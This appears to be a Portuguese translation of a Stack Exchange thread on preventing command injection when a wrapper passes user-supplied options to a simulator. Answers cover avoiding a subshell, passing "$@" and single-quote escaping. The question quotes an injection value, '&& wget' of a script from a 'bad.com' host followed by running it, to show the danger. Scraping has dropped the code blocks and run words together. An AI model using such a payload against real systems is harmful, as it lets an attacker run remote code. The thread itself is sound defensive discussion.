Eu tenho um aplicativo wrapper em que preciso permitir que o usuário especifique opções personalizadas para passar para um simulador. No entanto, quero garantir que o usuário não injete outros comandos por meio das opções do usuário. Qual é a melhor maneira de conseguir isso?
Por exemplo.
- O usuário fornece:
-a -b
- O aplicativo executa:
mysim --preset_opt -a -b
No entanto, não quero que isso aconteça:
- O usuário fornece:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- O aplicativo executa:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Atualmente, estou pensando em simplesmente '
colocar entre aspas simples todas as opções fornecidas pelo usuário e remover todas as aspas simples fornecidas pelo usuário, para que o comando no último exemplo se torne inofensivo:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Nota: O mysim
comando é executado como parte de um script de shell em um contêiner do docker / lxc. Estou executando o Ubuntu.
eval
para executar o aplicativo? Caso contrário, a injeção não deve ocorrer:x="&& echo Doomed" ; echo $x
eval
. Estou chamando o executávelmysim
dentro de um script de shell. Estou vendo a injeção acontecer se eu simplesmente copiar a sequência de opções que o usuário fornece e colar no final domysim
comando.-a -b
. Então, eu estou procurando garantir que comandos adicionais não sejam injetados nessa string.[a-zA-Z0-9 _-]
parece uma escolha bastante defensiva.Respostas:
Se você tiver controle sobre o programa wrapper, verifique se ele não invoca um subshell. No fundo, uma instrução para executar um programa consiste no caminho completo (absoluto ou relativo ao diretório atual) para o executável e uma lista de cadeias de caracteres para passar como argumentos. A pesquisa PATH, argumentos de separação de espaço em branco, operadores de citação e controle são todos fornecidos pelo shell. Sem casca, sem dor.
Por exemplo, com um wrapper Perl, use o formulário de lista de
exec
ousystem
. Em muitos idiomas, chame uma das funçõesexec
ouexecXXX
(ouunix.exec
o que é chamado) em vez desystem
, ouos.spawn
comshell=False
, ou o que for necessário.Se o wrapper for um script de shell, use
"$@"
para transmitir os argumentos, por exemploSe você não tiver escolha e o programa wrapper chamar um shell, será necessário citar os argumentos antes de passá-los para o shell. A maneira mais fácil de citar argumentos é fazer o seguinte:
'
(aspas simples) pela cadeia de quatro caracteres'\''
. (por exemplo,don't
torna-sedon'\''t
)'
no início de cada argumento e também no final de cada argumento. (por exemplodon't
, de ,don'\''t
torna-se'don'\''t'
)Se você precisar fazer isso em um invólucro de shell, aqui está uma maneira.
(Infelizmente, a
${VAR//PATTERN/REPLACEMENT}
construção do bash , que deve ser útil aqui, requer citações peculiares, e acho que você não pode obter'\''
como o texto de substituição.)fonte
Você pode usar de Bash
${VAR//PATTERN/REPLACEMENT}
idioma para transformar uma única citação'
em'\''
pelo primeira colocação'\''
em uma variável (como um passo intermediário) e depois expandir essa variável como oREPLACEMENT
elemento no idioma Bash mencionado.fonte
Você pode usar
getopts
nobash
que pode analisar os argumentos para você, por exemplo:fonte